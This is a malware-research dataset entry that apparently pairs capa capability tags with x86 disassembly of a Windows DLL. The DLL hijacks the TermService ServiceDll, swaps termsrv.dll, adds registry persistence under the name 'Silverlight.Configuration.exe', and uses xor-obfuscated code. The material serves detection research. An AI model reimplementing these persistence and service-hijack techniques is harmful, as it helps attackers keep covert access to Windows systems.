joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000a710
Capabilities:
Delete file
Enumerate files on windows
Move file

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x660
push ebx
mov ebx, dword [esp + 0x668]
push ebp
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
push esi
push edi
push eax
push 0x2a
push ebx
lea ecx, [esp + 0x26c]
push str._s_c_s
push ecx
xor esi, esi
call ebp
add esp, 0x14
push 0x250
lea edx, [esp + 0x14]
push edx
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x264]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000a780
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x660
ret
mov eax, dword [esp + 0x10]
test al, 0x10
jne 0x1000a7cc
test eax, eax
je 0x1000a7cc
lea edx, [esp + 0x3c]
push edx
push ebx
lea eax, [esp + 0x268]
push 0x1000e3f8
push eax
call ebp
add esp, 0x10
lea ecx, [esp + 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1000a7c7
push 4
push eax
lea edx, [esp + 0x268]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov esi, 1
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x1000a780
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x660
ret

Function at 0x1000ada0
Capabilities:
Create thread
Set current directory
Terminate process

Disassembly:
mov eax, dword [0x10012120]
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
mov esi, dword [esp + 0x10]
xor edi, edi
push edi
mov dword [0x10012464], 0x20
mov dword [0x10012468], 2
mov dword [0x1001246c], 0x85
mov dword [0x10012470], edi
mov dword [0x10012474], edi
mov dword [0x10012478], edi
mov dword [0x1001247c], edi
mov ecx, dword [esi]
push 0x10004a10
push ecx
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerExW]
mov dword [0x10012460], eax
cmp eax, edi
je 0x1000ae82
mov edx, dword [esp + 0xc]
mov dword [0x10012468], 4
cmp edx, 1
jbe 0x1000ae34
lea eax, [edi + 1]
jle 0x1000ae34
mov edi, edi
mov ecx, dword [esi + eax*4]
cmp word [ecx], 0x73
jne 0x1000ae2f
cmp word [ecx + 2], di
je 0x1000ae68
inc eax
cmp eax, edx
jl 0x1000ae20
push 4
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call fcn.10007d60
mov esi, eax
cmp esi, edi
je 0x1000ae68
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push edi
push edi
push esi
push 0x10004710
push edi
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call sub.NTDLL.dll_NtClose
pop edi
pop esi
mov dword [esp + 8], 0x10012464
mov edx, dword [0x10012460]
mov dword [esp + 4], edx
jmp dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push 0x10012464
push edi
mov dword [0x10012468], 1
call dword [sym.imp.ADVAPI32.dll_SetServiceStatus]
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1000afe0
Capabilities:
Create process on windows
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x58
mov ecx, dword [0x100121b8]
push ebp
xor ebp, ebp
push ebp
neg ecx
sbb ecx, ecx
lea eax, [esp + 8]
push eax
push ebp
and ecx, 0x100
add ecx, 0x20006
push ecx
push ebp
push ebp
push ebp
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1000b165
push edi
mov edi, dword [esp + 0x64]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [esp + 8]
push edx
push edi
push 2
push ebp
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x1000b159
lea ebp, [eax + 1]
cmp dword [0x100121b8], eax
je 0x1000b159
mov eax, dword [0x100125f0]
cmp dword [eax + 4], 6
jne 0x1000b159
cmp dword [eax + 8], 0
jne 0x1000b159
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x1000
push 8
call ebx
push eax
call fcn.10007d60
mov esi, eax
test esi, esi
je 0x1000b157
push 0x800
lea edx, [esi + 2]
mov ecx, 0x22
push edx
mov word [esi], cx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x1000b14c
inc eax
cmp word [esi + eax*2 - 2], 0x5c
je 0x1000b0cb
mov ecx, 0x5c
mov word [esi + eax*2], cx
inc eax
push edi
lea edx, [esi + eax*2]
push str.reg.exe__add_HKLMSYSTEMCurrentControlSetServicesTermServiceParameters__v_ServiceDll__t_REG_EXPAND_SZ__d___s___f
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0x44
lea eax, [esp + 0x28]
push eax
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x2c], 0x44
mov dword [esp + 0x58], ebp
call sub.NTDLL.dll_RtlZeroMemory
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x28]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000b14c
mov ecx, dword [esp + 0x14]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x18]
push edx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
push esi
push 0
call ebx
push eax
call fcn.100049f0
pop esi
pop ebx
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, ebp
pop ebp
add esp, 0x58
ret
Function at 0x1000b170
Capabilities:
Modify service

Disassembly:
push ebx
push edi
push 1
push str.ServicesActive
xor ebx, ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x1000b1c5
mov eax, dword [esp + 0xc]
push ebp
push esi
push 2
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x1000b1c0
mov ecx, dword [esp + 0x18]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0xffffffffffffffff
push ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push esi
mov ebx, eax
call ebp
push edi
call ebp
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
ret
Function at 0x1000b407
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x214
push esi
push edi
mov edi, dword [esp + 0x224]
xor esi, esi
cmp edi, esi
je 0x1000b3dd
mov eax, dword [esp + 0x220]
push eax
call fcn.10009080
add esp, 4
test eax, eax
je 0x1000b585
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
call fcn.10008e00
add esp, 0xc
cmp eax, 0x426
jne 0x1000b44a
push 2
push str.TermService
call fcn.1000b170
add esp, 8
test eax, eax
je 0x1000b585
push str.TermService
call fcn.10008960
add esp, 4
test eax, eax
je 0x1000b585
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x18]
push eax
call fcn.10008e00
add esp, 0xc
cmp eax, esi
jne 0x1000b585
call fcn.1000a850
mov ecx, dword [esp + 0x10]
push ecx
call fcn.10004ea0
add esp, 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp edi, esi
je 0x1000b480
call fcn.100089f0
test eax, eax
je 0x1000b585
lea edx, [esp + 0x14]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp word [esp + eax*2 + 0x12], 0x5c
je 0x1000b4aa
xor edx, edx
mov ecx, 0x5c
mov word [esp + eax*2 + 0x14], cx
mov word [esp + eax*2 + 0x16], dx
inc eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebp
push str.termsrvw.dll
lea eax, [esp + eax*2 + 0x20]
push eax
call ebx
cmp edi, esi
jne 0x1000b4fd
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x1c]
push ecx
call ebp
lea edx, [esp + 0x1c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
push str..ini
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionW]
lea ecx, [esp + 0x1c]
push ecx
call ebp
push str._SystemRoot_System32_termsrv.dll
lea edx, [esp + 0x20]
push edx
call ebx
lea eax, [esp + 0x1c]
push eax
call fcn.1000afe0
mov ebx, dword [esp + 0x14]
add esp, 4
cmp ebx, esi
jle 0x1000b55c
mov edi, dword [esp + 0x14]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea esp, [esp]
mov ecx, dword [edi + esi*4]
push ecx
call fcn.10008960
mov edx, dword [edi + esi*4]
add esp, 4
push edx
push 0
call ebp
push eax
call fcn.100049f0
inc esi
cmp esi, ebx
jl 0x1000b520
push edi
push 0
call ebp
push eax
call fcn.100049f0
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [esp + 0x22c]
push str.TermService
call fcn.10008960
push edi
call fcn.1000ca90
push edi
call fcn.100070f0
add esp, 0xc
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x214
ret
pop edi
mov eax, esi
pop esi
add esp, 0x214
ret
Function at 0x1000b7d0
Capabilities:
Check http status code

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push edi
push 0x2000
push 8
xor esi, esi
xor edi, edi
call ebp
push eax
call fcn.10007d60
mov ebx, eax
test ebx, ebx
je 0x1000b907
mov edx, dword [esp + 0x20]
push edi
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x1c]
push ecx
push 0x20000013
push edx
mov dword [esp + 0x28], esi
mov dword [esp + 0x2c], 4
call dword [0x100121fc]
test eax, eax
je 0x1000b8ec
cmp dword [esp + 0x14], 0xc8
jne 0x1000b8ec
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
push 0x1fff
push ebx
push ecx
mov dword [esp + 0x20], esi
call dword [0x10012100]
test eax, eax
je 0x1000b8ec
lea esp, [esp]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x1000b8ec
cmp esi, 0x100000
ja 0x1000b8d9
test edi, edi
jne 0x1000b888
lea edx, [eax + esi + 1]
push edx
push edi
call ebp
push eax
call fcn.10007d60
jmp 0x1000b89c
lea eax, [eax + esi + 1]
push eax
push edi
push 0
call ebp
push eax
call fcn.10003840
test eax, eax
je 0x1000b8dd
mov ecx, dword [esp + 0x10]
push ecx
mov edi, eax
push ebx
lea edx, [edi + esi]
push edx
call sub.NTDLL.dll_RtlMoveMemory
add esi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
lea eax, [esp + 0x10]
push eax
push 0x1fff
push ebx
mov byte [edi + esi], 0
push ecx
mov dword [esp + 0x20], 0
call dword [0x10012100]
test eax, eax
jne 0x1000b860
jmp 0x1000b8ec
test edi, edi
je 0x1000b8e8
push edi
push 0
call ebp
push eax
call fcn.100049f0
xor edi, edi
xor esi, esi
push ebx
push 0
call ebp
push eax
call fcn.100049f0
mov edx, dword [esp + 0x24]
mov dword [edx], edi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov eax, dword [esp + 0x24]
mov dword [eax], edi
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x1000b920
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x228
push ebx
xor ebx, ebx
push edi
mov dword [esp + 0x14], 0x750052
mov dword [esp + 0x18], 0x6e
cmp dword [0x100120d0], ebx
je 0x1000b94e
mov eax, dword [0x100120b0]
mov ecx, 0x1000e6ec
jmp 0x1000b955
mov ecx, 0x1000e5b4
mov eax, ecx
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
lea edx, [esp + 0x14]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersion
push ecx
push eax
lea eax, [esp + 0x34]
push str._s_s_s_s
push eax
call edi
add esp, 0x18
push ebx
lea ecx, [esp + 0xc]
push ecx
push ebx
xor eax, eax
cmp dword [0x100120d0], ebx
push 0xf023f
push ebx
setne al
push ebx
push ebx
lea edx, [esp + 0x40]
push edx
mov dword [esp + 0x28], ebx
lea eax, [eax + eax - 0x7fffffff]
push eax
call dword [0x10012108]
test eax, eax
jne 0x1000badb
cmp dword [esp + 0x234], ebx
je 0x1000b9de
mov ecx, dword [0x10012184]
mov edx, dword [esp + 8]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
add esp, 0x228
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0x20a
push 8
mov dword [esp + 0x2c], ebx
call ebp
push eax
call fcn.10007d60
mov esi, eax
cmp esi, ebx
je 0x1000bace
mov eax, dword [0x10012120]
push str.Silverlight.Configuration.exe
push eax
push str.__s_s_
push esi
call edi
add esp, 0x10
lea ecx, [esp + 0x14]
push ecx
push ebx
lea edx, [esp + 0x20]
push edx
push ebx
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x20]
push str.Silverlight.Configuration.exe
mov dword [esp + 0x28], ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
mov dword [esp + 0x30], 1
call ebx
test eax, eax
jne 0x1000baa5
mov ecx, dword [esp + 0x14]
lea edx, [ecx + ecx + 2]
push edx
push 8
call ebp
push eax
call fcn.10007d60
mov edi, eax
test edi, edi
je 0x1000baa5
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push edi
lea ecx, [esp + 0x20]
push ecx
push 0
push str.Silverlight.Configuration.exe
push edx
call ebx
test eax, eax
jne 0x1000ba92
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, 1
test eax, eax
je 0x1000ba96
mov ebx, dword [esp + 0x24]
push edi
push 0
call ebp
push eax
call fcn.100049f0
test ebx, ebx
jne 0x1000bac3
mov eax, dword [esp + 0x28]
mov edx, dword [esp + 0x10]
lea ecx, [eax + eax + 2]
push ecx
push esi
push 1
push 0
push str.Silverlight.Configuration.exe
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push esi
push 0
call ebp
push eax
call fcn.100049f0
mov eax, dword [esp + 0x10]
pop esi
pop ebp
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop ebx
add esp, 0x228
ret
Function at 0x1000baf0
Capabilities:
Suspend thread

Disassembly:
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.10009560
test eax, eax
jne 0x1000bb0d
lea eax, [edi + 9]
pop edi
pop esi
ret
cmp dword [esi], edi
je 0x1000bb67
push ebx
xor ebx, ebx
cmp dword [esi + 8], ebx
jbe 0x1000bb61
lea esp, [esp]
mov eax, dword [esi]
mov ecx, dword [eax + ebx*4]
push ecx
push 0
push 0x5a
call fcn.10002350
mov edi, eax
test edi, edi
je 0x1000bb55
push 0
push edi
call sub.NTDLL.dll_NtSuspendThread
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push edx
push edi
call fcn.10008d20
add esp, 8
push edi
call sub.NTDLL.dll_NtClose
inc ebx
cmp ebx, dword [esi + 8]
jb 0x1000bb20
pop ebx
pop edi
xor eax, eax
pop esi
ret
pop ebx
mov eax, edi
pop edi
pop esi
ret
mov eax, edi
pop edi
pop esi
ret

Function at 0x1000bbe0
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, dword [esp + 8]
cmp dword [ebx], 0
je 0x1000bc2e
push edi
xor edi, edi
cmp dword [ebx + 8], edi
jbe 0x1000bc1d
push esi
mov eax, dword [ebx]
mov ecx, dword [eax + edi*4]
push ecx
push 0
push 0x5a
call fcn.10002350
mov esi, eax
test esi, esi
je 0x1000bc16
push 0
push esi
call sub.NTDLL.dll_NtResumeThread
push esi
call sub.NTDLL.dll_NtClose
inc edi
cmp edi, dword [ebx + 8]
jb 0x1000bbf3
pop esi
mov edx, dword [ebx]
mov eax, dword [0x100120e4]
push edx
push 0
push eax
call fcn.100049f0
pop edi
pop ebx
ret
Function at 0x1000c290
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor edx, edx
or eax, 0xffffffff
test esi, esi
je 0x1000c33b
push edi
mov edi, dword [esp + 0x10]
movzx ecx, byte [edx + edi]
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
shr eax, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
and eax, 1
neg eax
and eax, 0xedb88320
shr ecx, 1
inc edx
xor eax, ecx
cmp edx, esi
jb 0x1000c2a7
pop edi
not eax
pop esi
ret
Function at 0x1000cde0
Capabilities:
Get token membership

Disassembly:
sub esp, 0x10
push ebx
xor ebx, ebx
lea eax, [esp + 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov word [esp + 0x3c], 0x500
mov dword [esp + 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x1000ce38
mov eax, dword [esp + 4]
lea edx, [esp + 8]
push edx
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [esp + 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [esp + 8]
pop ebx
add esp, 0x10
ret

Function at 0x1000d230
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
sub esp, 0x78
push esi
push edi
mov edi, dword [esp + 0x84]
xor esi, esi
test edi, edi
je 0x1000d37c
push ebx
push esi
push edi
lea eax, [esp + 0x14]
push eax
lea ebx, [esi + 0x20]
mov dword [esp + 0x18], esi
call sub.USERENV.dll_CreateEnvironmentBlock
test eax, eax
je 0x1000d263
mov ebx, 0x420
push 0x44
lea ecx, [esp + 0x44]
push ecx
call sub.NTDLL.dll_RtlZeroMemory
push 0x10
lea ecx, [esp + 0x14]
lea eax, [esp + 0x24]
push ecx
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x28], 0x690057
mov dword [esp + 0x2c], 0x73006e
mov dword [esp + 0x30], 0x610074
mov dword [esp + 0x34], 0x5c0030
mov dword [esp + 0x38], 0x650044
mov dword [esp + 0x3c], 0x610066
mov dword [esp + 0x40], 0x6c0075
mov dword [esp + 0x44], 0x74
mov dword [esp + 0x50], eax
call sub.NTDLL.dll_RtlZeroMemory
cmp dword [0x10012214], esi
jne 0x1000d329
mov eax, dword [0x10012110]
lea edx, [esp + 0x10]
push edx
test eax, eax
je 0x1000d303
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x44]
push ecx
mov ecx, dword [esp + 0x94]
push 0
push edx
push ebx
push 0
push 0
push 0
push ecx
push 0
push edi
call eax
jmp 0x1000d353
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x90]
lea eax, [esp + 0x44]
push eax
push 0
push ecx
push ebx
push 0
push 0
push 0
push edx
push 0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
jmp 0x1000d353
mov eax, dword [0x10012208]
test eax, eax
je 0x1000d36d
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x44]
push edx
mov edx, dword [esp + 0x94]
push 0
push ecx
push ebx
push edx
push 0
push 0
push edi
call eax
mov esi, eax
test esi, esi
je 0x1000d36d
mov eax, dword [esp + 0x14]
push eax
call sub.NTDLL.dll_NtClose
mov ecx, dword [esp + 0x10]
push ecx
call sub.NTDLL.dll_NtClose
mov eax, dword [esp + 0xc]
pop ebx
test eax, eax
je 0x1000d37c
push eax
call sub.USERENV.dll_DestroyEnvironmentBlock
pop edi
mov eax, esi
pop esi
add esp, 0x78
ret
Function at 0x1002f3f0
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x1002f42e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x1002f426
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x1002f430
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x1002f416
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x1002f500
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x1002f516
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x1002f531
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x100362c7
Capabilities:
Encode data using xor

Disassembly:
call 0x10036240
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or eax, dword [ebx - 0x178f73c]
xor esi, 0xde5af04
add eax, esi
lea esp, [esp - 0xe]
mov esi, dword [esp + 0xe]
lea esp, [esp + 0x12]
xor esi, dword [esp]
push eax
sub eax, 0xf24f2b00
mov eax, esp
or dword [eax - 0x22], ebx
pop eax
jmp 0x10036270
xor dword [esp], esi
xor eax, 0
mov dword [esp], esi
add esp, 4
add esi, dword [ebp + 8]
push ebp
add ebp, 0xc
mov ecx, dword [ebp]
pop ebp
ja 0x1003628c
xor edx, 0
jmp 0x10036297
xor edx, edx
jmp 0x100362ae
jmp 0x100362ba
xor eax, eax
push 0x8427d7c0
call 0x100362c7
stc
add esp, 8
add esi, 0
cmp ecx, 0
je 0x10036303
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
add bl, dl
xor byte [esi], bl
mov dl, byte [esi]
inc esi
add ebx, edi
rol ebx, 8
dec ecx
jne 0x100362dc
lea esp, [esp - 4]
xchg dword [esp], ebx
mov ebx, dword [esp]
or eax, edx
xor eax, eax
add eax, dword [esp]
add esp, 4
pop esi
pop edi
pop ebx
xchg dword [esp], ecx
mov dword [esp], ecx
lea esp, [esp + 4]
pop edx
leave
je 0x1003631a
add eax, 0
jno 0x1003631f
add esi, 0
ret 0x10
Function at 0x10037088
Capabilities:
Encode data using xor

Disassembly:
lea esp, [esp - 0x63]
mov dword [esp + 0x5f], ebx
lea esp, [esp + 0x5f]
mov ebx, 0x8dff8662
xchg dword [esp], ebx
and dword [esp], ebp
jmp 0x100370aa
add ebx, 0
or dword [esp], ebp
mov ebp, esp
push eax
push edi
lea esp, [esp - 4]
xchg dword [esp], ecx
pop ecx
lea esp, [esp - 4]
mov edi, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
cmp edi, dword [ebp + 0x14]
ja 0x1003724c
cmp edi, dword [ebp + 0x10]
jb 0x1003724c
lea esi, [esi]
sub esi, 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
sub esp, 0x6a
mov dword [esp + 0x66], 0xc2ccbc3c
add esp, 0x66
mov dword [esp], edi
or edi, 0xffffffff
and edi, 0xcedcf875
xor edi, 0xce9c140e
xchg dword [esp], edi
push edx
mov edx, esp
xor edx, 0
add edx, 0
push ebx
lea ebx, [edx + 4]
mov dword [ebx], eax
pop ebx
pop edx
push edi
call fcn.10036b74
inc edi
jmp 0x10037133
jmp 0x10037140
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10036b74
inc edi
and dword [esp - 0x4e], ecx
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push edi
call fcn.10036b74
inc edi
ror eax, 8
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
push 0
sub esi, 0
add dword [esp], edx
xor edx, edx
je 0x10037194
sub bl, byte [ebx]
mov eax, 0x64f7f691
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
cld
test edx, ebx
or edx, 0x13e27bd2
push ebx
add ebx, esi
mov ebx, esp
xor dword [ebx - 0x2a], edi
fdiv qword [ecx]
jnp 0x10037178
pop ebx
xor edx, 0x1b7d0cc
add edx, 0xedeb415d
xchg dword [esp], edx
push edx
mov edx, esp
call int.100371c2
add dword [eax], 0x39
jle 0x1003719e
sub al, 0xf5
mov ch, al
call fcn.100371d7
mov dword [edi], eax
pop ecx
pop edi
pop eax
leave
ret 0x10

Function at 0x10038eaf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push ecx
push edx
push 0
sub esi, esi
shr esi, 9
and dword [esp - 0x69], ebx
jbe 0x10038ec5
add edi, 0
shr esi, 0x17
or esi, dword [esp]
add esp, 4
add esi, dword [ebp + 8]
xor eax, eax
xor edx, edx
cld
and dword [esp - 0x46], edx
xor ecx, ecx
rol edx, 7
and dword [esp - 0x4b], edx
xor dl, al
mov al, byte [esi]
inc esi
or al, al
jne 0x10038ed6
mov eax, edx
pop edx
pop ecx
pop esi
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
push 0x54
call fcn.10038f17
std
inc ebx
sar cl, 0x3e
lahf
in al, dx
mov ch, 0x4a
mov ebx, 0x971631d8
test byte [ebp - 0x5e], ch
xor eax, dword [ebx + 0x2b5108c4]
add esp, 8
push ecx
sub ecx, eax
mov ecx, esp
cmp dword [ecx - 0x51], edx